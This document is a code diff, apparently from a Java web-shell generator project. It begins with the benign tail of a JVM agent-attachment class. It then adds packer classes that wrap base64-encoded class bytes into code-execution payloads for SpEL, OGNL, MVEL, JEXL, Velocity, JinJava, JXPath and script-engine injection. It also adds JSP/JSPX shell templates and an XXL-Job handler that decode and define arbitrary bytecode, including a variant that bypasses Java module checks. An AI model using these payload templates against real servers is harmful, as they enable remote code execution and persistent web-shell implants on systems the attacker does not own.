throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
}
/**
* {@inheritDoc}
*/
public ExternalAttachment getExternalAttachment() {
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
}
}
/**
* Describes an external attachment to a Java virtual machine.
*/
class ExternalAttachment {
/**
* The fully-qualified binary name of the virtual machine type.
*/
private final String virtualMachineType;
/**
* The class path elements required for loading the supplied virtual machine type.
*/
private final List<File> classPath;
/**
* Creates an external attachment.
*
* @param virtualMachineType The fully-qualified binary name of the virtual machine type.
* @param classPath The class path elements required for loading the supplied virtual machine type.
*/
public ExternalAttachment(String virtualMachineType, List<File> classPath) {
this.virtualMachineType = virtualMachineType;
this.classPath = classPath;
}
/**
* Returns the fully-qualified binary name of the virtual machine type.
*
* @return The fully-qualified binary name of the virtual machine type.
*/
public String getVirtualMachineType() {
return virtualMachineType;
}
/**
* Returns the class path elements required for loading the supplied virtual machine type.
*
* @return The class path elements required for loading the supplied virtual machine type.
*/
public List<File> getClassPath() {
return classPath;
}
}
/**
* A simple implementation of an accessible accessor.
*/
abstract class Simple implements Accessor {
/**
* A {@code VirtualMachine} class.
*/
protected final Class<?> virtualMachineType;
/**
* Creates a new simple accessor.
*
* @param virtualMachineType A {@code VirtualMachine} class.
*/
protected Simple(Class<?> virtualMachineType) {
this.virtualMachineType = virtualMachineType;
}
/**
* <p>
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
* to load the {@code com.sun.tools.attach.VirtualMachine} class from the provided class loader.
* </p>
* <p>
* This accessor is supposed to work on any implementation of the OpenJDK or Oracle JDK.
* </p>
*
* @param classLoader A class loader that is capable of loading the virtual machine type.
* @param classPath The class path required to load the virtual machine class.
* @return An appropriate accessor.
*/
public static Accessor of(ClassLoader classLoader, File... classPath) {
try {
return new WithExternalAttachment(Class.forName(VIRTUAL_MACHINE_TYPE_NAME,
false,
classLoader), Arrays.asList(classPath));
} catch (ClassNotFoundException ignored) {
return Unavailable.INSTANCE;
}
}
/**
* <p>
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
* to load the {@code com.ibm.tools.attach.VirtualMachine} class from the provided class loader.
* </p>
* <p>
* This accessor is supposed to work on any implementation of IBM's J9.
* </p>
*
* @return An appropriate accessor.
*/
public static Accessor ofJ9() {
try {
return new WithExternalAttachment(ClassLoader.getSystemClassLoader().loadClass(VIRTUAL_MACHINE_TYPE_NAME_J9),
Collections.<File>emptyList());
} catch (ClassNotFoundException ignored) {
return Unavailable.INSTANCE;
}
}
/**
* {@inheritDoc}
*/
public boolean isAvailable() {
return true;
}
/**
* {@inheritDoc}
*/
public Class<?> getVirtualMachineType() {
return virtualMachineType;
}
/**
* A simple implementation of an accessible accessor that allows for external attachment.
*/
protected static class WithExternalAttachment extends Simple {
/**
* The class path required for loading the virtual machine type.
*/
private final List<File> classPath;
/**
* Creates a new simple accessor that allows for external attachment.
*
* @param virtualMachineType The {@code com.sun.tools.attach.VirtualMachine} class.
* @param classPath The class path required for loading the virtual machine type.
*/
public WithExternalAttachment(Class<?> virtualMachineType, List<File> classPath) {
super(virtualMachineType);
this.classPath = classPath;
}
/**
* {@inheritDoc}
*/
public boolean isExternalAttachmentRequired() {
return true;
}
/**
* {@inheritDoc}
*/
public ExternalAttachment getExternalAttachment() {
return new ExternalAttachment(virtualMachineType.getName(), classPath);
}
}
/**
* A simple implementation of an accessible accessor that attaches using a virtual machine emulation that does not require external attachment.
*/
protected static class WithDirectAttachment extends Simple {
/**
* Creates a new simple accessor that implements direct attachment.
*
* @param virtualMachineType A {@code VirtualMachine} class.
*/
public WithDirectAttachment(Class<?> virtualMachineType) {
super(virtualMachineType);
}
/**
* {@inheritDoc}
*/
public boolean isExternalAttachmentRequired() {
return false;
}
/**
* {@inheritDoc}
*/
public ExternalAttachment getExternalAttachment() {
throw new IllegalStateException("Cannot apply external attachment");
}
}
}
}
/**
* An attachment provider that locates the attach API directly from the system class loader, as possible since
* introducing the Java module system via the {@code jdk.attach} module.
*/
enum ForModularizedVm implements AttachmentProvider {
/**
* The singleton instance.
*/
INSTANCE;
/**
* {@inheritDoc}
*/
public Accessor attempt() {
return Accessor.Simple.of(ClassLoader.getSystemClassLoader());
}
}
/**
* An attachment provider that locates the attach API directly from the system class loader expecting
* an IBM J9 VM.
*/
enum ForJ9Vm implements AttachmentProvider {
/**
* The singleton instance.
*/
INSTANCE;
/**
* {@inheritDoc}
*/
public Accessor attempt() {
return Accessor.Simple.ofJ9();
}
}
/**
* An attachment provider that is dependant on the existence of a <i>tools.jar</i> file on the local
* file system.
*/
enum ForStandardToolsJarVm implements AttachmentProvider {
/**
* An attachment provider that locates the <i>tools.jar</i> from a Java home directory.
*/
JVM_ROOT("../lib/tools.jar"),
/**
* An attachment provider that locates the <i>tools.jar</i> from a Java installation directory.
* In practice, several virtual machines do not return the JRE's location for the
* <i>java.home</i> property against the property's specification.
*/
JDK_ROOT("lib/tools.jar"),
/**
* An attachment provider that locates the <i>tools.jar</i> as it is set for several JVM
* installations on Apple Macintosh computers.
*/
MACINTOSH("../Classes/classes.jar");
/**
* The Java home system property.
*/
private static final String JAVA_HOME_PROPERTY = "java.home";
/**
* The path to the <i>tools.jar</i> file, starting from the Java home directory.
*/
private final String toolsJarPath;
/**
* Creates a new attachment provider that loads the virtual machine class from the <i>tools.jar</i>.
*
* @param toolsJarPath The path to the <i>tools.jar</i> file, starting from the Java home directory.
*/
ForStandardToolsJarVm(String toolsJarPath) {
this.toolsJarPath = toolsJarPath;
}
/**
* {@inheritDoc}
*/
public Accessor attempt() {
File toolsJar = new File(System.getProperty(JAVA_HOME_PROPERTY), toolsJarPath);
try {
return toolsJar.isFile() && toolsJar.canRead()
? Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar)
: Accessor.Unavailable.INSTANCE;
} catch (MalformedURLException exception) {
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
}
}
}
/**
* An attachment provider that attempts to locate a {@code tools.jar} from a custom location set via a system property.
*/
enum ForUserDefinedToolsJar implements AttachmentProvider {
/**
* The singelton instance.
*/
INSTANCE;
/**
* The property being read for locating {@code tools.jar}.
*/
public static final String PROPERTY = "net.bytebuddy.agent.toolsjar";
/**
* {@inheritDoc}
*/
public Accessor attempt() {
String location = System.getProperty(PROPERTY);
if (location == null) {
return Accessor.Unavailable.INSTANCE;
} else {
File toolsJar = new File(location);
try {
return Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar);
} catch (MalformedURLException exception) {
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
}
}
}
}
/**
* An attachment provider that uses Byte Buddy's attachment API emulation. To use this feature, JNA is required.
*/
enum ForEmulatedAttachment implements AttachmentProvider {
/**
* The singleton instance.
*/
INSTANCE;
/**
* {@inheritDoc}
*/
public Accessor attempt() {
try {
return new Accessor.Simple.WithDirectAttachment(VirtualMachine.Resolver.INSTANCE.get());
} catch (Throwable ignored) {
return Accessor.Unavailable.INSTANCE;
}
}
}
/**
* A compound attachment provider that attempts the attachment by delegation to other providers. If
* none of the providers of this compound provider is capable of providing a valid accessor, an
* non-available accessor is returned.
*/
class Compound implements AttachmentProvider {
/**
* A list of attachment providers in the order of their application.
*/
private final List<AttachmentProvider> attachmentProviders;
/**
* Creates a new compound attachment provider.
*
* @param attachmentProvider A list of attachment providers in the order of their application.
*/
public Compound(AttachmentProvider... attachmentProvider) {
this(Arrays.asList(attachmentProvider));
}
/**
* Creates a new compound attachment provider.
*
* @param attachmentProviders A list of attachment providers in the order of their application.
*/
public Compound(List<? extends AttachmentProvider> attachmentProviders) {
this.attachmentProviders = new ArrayList<AttachmentProvider>();
for (AttachmentProvider attachmentProvider : attachmentProviders) {
if (attachmentProvider instanceof Compound) {
this.attachmentProviders.addAll(((Compound) attachmentProvider).attachmentProviders);
} else {
this.attachmentProviders.add(attachmentProvider);
}
}
}
/**
* {@inheritDoc}
*/
public Accessor attempt() {
for (AttachmentProvider attachmentProvider : attachmentProviders) {
Accessor accessor = attachmentProvider.attempt();
if (accessor.isAvailable()) {
return accessor;
}
}
return Accessor.Unavailable.INSTANCE;
}
}
}
/**
* A process provider is responsible for providing the process id of the current VM.
*/
public interface ProcessProvider {
/**
* Resolves a process id for the current JVM.
*
* @return The resolved process id.
*/
String resolve();
/**
* Supplies the current VM's process id.
*/
enum ForCurrentVm implements ProcessProvider {
/**
* The singleton instance.
*/
INSTANCE;
/**
* The best process provider for the current VM.
*/
private final ProcessProvider dispatcher;
/**
* Creates a process provider that supplies the current VM's process id.
*/
ForCurrentVm() {
dispatcher = ForJava9CapableVm.make();
}
/**
* {@inheritDoc}
*/
public String resolve() {
return dispatcher.resolve();
}
/**
* A process provider for a legacy VM that reads the process id from its JMX properties. This strategy
* is only used prior to Java 9 such that the <i>java.management</i> module never is resolved, even if
* the module system is used, as the module system was not available in any relevant JVM version.
*/
protected enum ForLegacyVm implements ProcessProvider {
/**
* The singleton instance.
*/
INSTANCE;
/**
* {@inheritDoc}
*/
public String resolve() {
String runtimeName;
try {
Method method = Class.forName("java.lang.management.ManagementFactory").getMethod("getRuntimeMXBean");
runtimeName = (String) method.getReturnType().getMethod("getName").invoke(method.invoke(null));
} catch (Exception exception) {
throw new IllegalStateException("Failed to access VM name via management factory", exception);
}
int processIdIndex = runtimeName.indexOf('@');
if (processIdIndex == -1) {
throw new IllegalStateException("Cannot extract process id from runtime management bean");
} else {
return runtimeName.substring(0, processIdIndex);
}
}
}
/**
* A process provider for a Java 9 capable VM with access to the introduced process API.
*/
protected static class ForJava9CapableVm implements ProcessProvider {
/**
* The {@code java.lang.ProcessHandle#current()} method.
*/
private final Method current;
/**
* The {@code java.lang.ProcessHandle#pid()} method.
*/
private final Method pid;
/**
* Creates a new Java 9 capable dispatcher for reading the current process's id.
*
* @param current The {@code java.lang.ProcessHandle#current()} method.
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
*/
protected ForJava9CapableVm(Method current, Method pid) {
this.current = current;
this.pid = pid;
}
/**
* Attempts to create a dispatcher for a Java 9 VM and falls back to a legacy dispatcher
* if this is not possible.
*
* @return A dispatcher for the current VM.
*/
public static ProcessProvider make() {
try {
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
} catch (Exception ignored) {
return ForLegacyVm.INSTANCE;
}
}
/**
* {@inheritDoc}
*/
public String resolve() {
try {
return pid.invoke(current.invoke(null)).toString();
} catch (IllegalAccessException exception) {
throw new IllegalStateException("Cannot access Java 9 process API", exception);
} catch (InvocationTargetException exception) {
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
}
}
}
}
}
/**
* An agent provider is responsible for handling and providing the jar file of an agent that is being attached.
*/
protected interface AgentProvider {
/**
* Provides an agent jar file for attachment.
*
* @return The provided agent.
* @throws IOException If the agent cannot be written to disk.
*/
File resolve() throws IOException;
/**
* An agent provider that supplies an existing agent that is not deleted after attachment.
*/
class ForExistingAgent implements AgentProvider {
/**
* The supplied agent.
*/
private final File agent;
/**
* Creates an agent provider for an existing agent.
*
* @param agent The supplied agent.
*/
protected ForExistingAgent(File agent) {
this.agent = agent;
}
/**
* {@inheritDoc}
*/
public File resolve() {
return agent;
}
}
}
/**
* An attachment evaluator is responsible for deciding if an agent can be attached from the current process.
*/
protected interface AttachmentTypeEvaluator {
/**
* Checks if the current VM requires external attachment for the supplied process id.
*
* @param processId The process id of the process to which to attach.
* @return {@code true} if the current VM requires external attachment for the supplied process.
*/
boolean requiresExternalAttachment(String processId);
/**
* An installation action for creating an attachment type evaluator.
*/
enum InstallationAction implements PrivilegedAction<AttachmentTypeEvaluator> {
/**
* The singleton instance.
*/
INSTANCE;
/**
* The OpenJDK's property for specifying the legality of self-attachment.
*/
private static final String JDK_ALLOW_SELF_ATTACH = "jdk.attach.allowAttachSelf";
/**
* {@inheritDoc}
*/
public AttachmentTypeEvaluator run() {
try {
if (Boolean.getBoolean(JDK_ALLOW_SELF_ATTACH)) {
return Disabled.INSTANCE;
} else {
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
}
} catch (Exception ignored) {
return Disabled.INSTANCE;
}
}
}
/**
* An attachment type evaluator that never requires external attachment.
*/
enum Disabled implements AttachmentTypeEvaluator {
/**
* The singleton instance.
*/
INSTANCE;
/**
* {@inheritDoc}
*/
public boolean requiresExternalAttachment(String processId) {
return false;
}
}
/**
* An attachment type evaluator that checks a process id against the current process id.
*/
class ForJava9CapableVm implements AttachmentTypeEvaluator {
/**
* The {@code java.lang.ProcessHandle#current()} method.
*/
private final Method current;
/**
* The {@code java.lang.ProcessHandle#pid()} method.
*/
private final Method pid;
/**
* Creates a new attachment type evaluator.
*
* @param current The {@code java.lang.ProcessHandle#current()} method.
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
*/
protected ForJava9CapableVm(Method current, Method pid) {
this.current = current;
this.pid = pid;
}
/**
* {@inheritDoc}
*/
public boolean requiresExternalAttachment(String processId) {
try {
return pid.invoke(current.invoke(null)).toString().equals(processId);
} catch (IllegalAccessException exception) {
throw new IllegalStateException("Cannot access Java 9 process API", exception);
} catch (InvocationTargetException exception) {
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
}
}
}
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.jexl;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JEXLPacker implements Packer {
String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.jinjava;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2025/1/30
*/
public class JinJavaPacker implements Packer {
String template = "{{ ''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(''.getClass().forName('java.io.StringReader').getConstructors()[0].newInstance('{{script}}')) }}";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,33 @@
package com.reajason.javaweb.packer.jsp;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class ClassLoaderJspPacker implements Packer {
String jspTemplate = null;
public ClassLoaderJspPacker() {
try {
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
} catch (Exception ignored) {
}
}
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return jspTemplate.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str());
}
}
@@ -0,0 +1,41 @@
package com.reajason.javaweb.packer.jsp;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class DefineClassJspPacker implements Packer {
String template = null;
String bypassTemplate = null;
public DefineClassJspPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
bypassTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
} catch (Exception ignored) {
}
}
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
String injectorBytesBase64Str = config.getClassBytesBase64Str();
String injectorClassName = config.getClassName();
String template = this.template;
if (config.isByPassJavaModule()) {
template = bypassTemplate;
}
return template.replace("{{className}}", injectorClassName)
.replace("{{base64Str}}", injectorBytesBase64Str);
}
}
@@ -0,0 +1,10 @@
package com.reajason.javaweb.packer.jsp;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class JspPacker implements AggregatePacker {
}
@@ -0,0 +1,33 @@
package com.reajason.javaweb.packer.jsp;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class JspxPacker implements Packer {
String jspxTemplate = null;
public JspxPacker() {
try {
jspxTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jspx")), Charset.defaultCharset());
} catch (Exception ignored) {
}
}
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return jspxTemplate.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str());
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.jxpath;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JXPathPacker implements Packer {
String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.mvel;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2025/1/29
*/
public class MVELPacker implements Packer {
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.ognl;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class OGNLPacker implements Packer {
String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.packer.rhino;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2025/1/30
*/
public class RhinoPacker implements Packer {
@Override
public String pack(ClassPackerConfig config) {
return Packers.ScriptEngine.getInstance().pack(config);
}
}
@@ -0,0 +1,36 @@
package com.reajason.javaweb.packer.scriptengine;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/12/3
*/
public class ScriptEnginePacker implements Packer {
String jsTemplate = null;
public ScriptEnginePacker() {
try {
jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return jsTemplate.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str())
.replace("\n", "")
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
.replaceAll("[ \t]{2,}", " ");
}
}
@@ -0,0 +1,10 @@
package com.reajason.javaweb.packer.spel;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2025/1/26
*/
public class SpELPacker implements AggregatePacker {
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.spel;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELScriptEnginePacker implements Packer {
String template = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval('{{script}}')";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.packer.spel;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
import java.util.zip.GZIPOutputStream;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELSpringIOUtilsGzipPacker implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Base64.getEncoder().encodeToString(gzipCompress(config.getClassBytes())));
}
public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
gzip.write(data);
}
return out.toByteArray();
}
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.packer.spel;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELSpringUtilsPacker implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
@Override
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str());
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.velocity;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class VelocityPacker implements Packer {
String template = "#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,36 @@
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
import java.util.Base64;
public class DemoGlueJobHandler extends IJobHandler {
public static class Definder extends ClassLoader {
public Definder() {
super(Thread.currentThread().getContextClassLoader());
}
public Class<?> defineClass(byte[] bytes) {
return defineClass(null, bytes, 0, bytes.length);
}
}
public void execute() throws Exception {
execute(null)
}
public ReturnT<String> execute(String param) throws Exception {
String base64Str = "{{base64Str}}";
String className = "{{className}}";
try {
Class.forName(className);
} catch (ClassNotFoundException e) {
try {
new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
} catch (Throwable ee) {
ee.printStackTrace();
}
}
return ReturnT.SUCCESS;
}
}
+36
View File
@@ -0,0 +1,36 @@
class ClassDefiner extends ClassLoader {
public ClassDefiner() {
super(Thread.currentThread().getContextClassLoader());
}
public byte[] decodeBase64(String bytecodeBase64) {
java.util.Base64.Decoder decoder = java.util.Base64.getDecoder();
return decoder.decode(bytecodeBase64);
}
public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
@Override
public String toString() {
String className = "{{className}}";
String base64Str = "{{base64Str}}";
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(className).newInstance();
} catch (Exception e) {
try {
byte[] bytecode = decodeBase64(base64Str);
Class<?> clazz = defineClass(bytecode);
clazz.newInstance();
} catch (Exception ignored) {
}
}
return className;
}
static void main(String[] args) {
new ClassDefiner().toString();
}
}
+16
View File
@@ -0,0 +1,16 @@
var base64Str = "{{base64Str}}";
var clsString = java.lang.Class.forName("java.lang.String");
var bytecode;
try {
var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
} catch (ee) {
var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
}
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
var clsInt = java.lang.Integer.TYPE;
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true);
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance();
+33
View File
@@ -0,0 +1,33 @@
<%@ page import="java.lang.*" %>
<%@ page import="java.lang.Class" %>
<%@ page import="java.lang.ClassLoader" %>
<%@ page import="java.lang.ClassNotFoundException" %>
<%@ page import="java.lang.Object" %>
<%@ page import="java.lang.String" %>
<%@ page import="java.lang.Thread" %>
<%!
public static class ClassDefiner extends ClassLoader {
public ClassDefiner(ClassLoader classLoader) {
super(classLoader);
}
public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
}
%>
<%
String base64Str = "{{base64Str}}";
byte[] bytecode = null;
try {
Class base64Clz = Class.forName("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
clazz.newInstance();
%>
+29
View File
@@ -0,0 +1,29 @@
<jsp:root version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page">
<jsp:directive.page contentType="text/html"/>
<jsp:directive.page pageEncoding="UTF-8"/>
<jsp:declaration><![CDATA[
public static class ClassDefiner extends ClassLoader {
public ClassDefiner(ClassLoader classLoader) {
super(classLoader);
}
public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
}
]]></jsp:declaration>
<jsp:scriptlet><![CDATA[
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
String base64Str = "{{base64Str}}";
byte[] bytecode = null;
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
clazz.newInstance();
]]></jsp:scriptlet>
</jsp:root>
+24
View File
@@ -0,0 +1,24 @@
<%@ page import="java.lang.*" %>
<%@ page import="java.lang.Class" %>
<%@ page import="java.lang.ClassLoader" %>
<%@ page import="java.lang.ClassNotFoundException" %>
<%@ page import="java.lang.Object" %>
<%@ page import="java.lang.String" %>
<%@ page import="java.lang.Thread" %>
<%
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
String base64Str = "{{base64Str}}";
byte[] bytecode = null;
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
clazz.newInstance();
%>
+48
View File
@@ -0,0 +1,48 @@
<%@ page import="java.lang.*" %>
<%@ page import="java.lang.Class" %>
<%@ page import="java.lang.ClassLoader" %>
<%@ page import="java.lang.ClassNotFoundException" %>
<%@ page import="java.lang.Integer" %>
<%@ page import="java.lang.Long" %>
<%@ page import="java.lang.Object" %>
<%@ page import="java.lang.String" %>
<%@ page import="java.lang.Thread" %>
<%@ page import="java.lang.Throwable" %>
<%
String base64Str = "{{base64Str}}";
byte[] bytecode = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
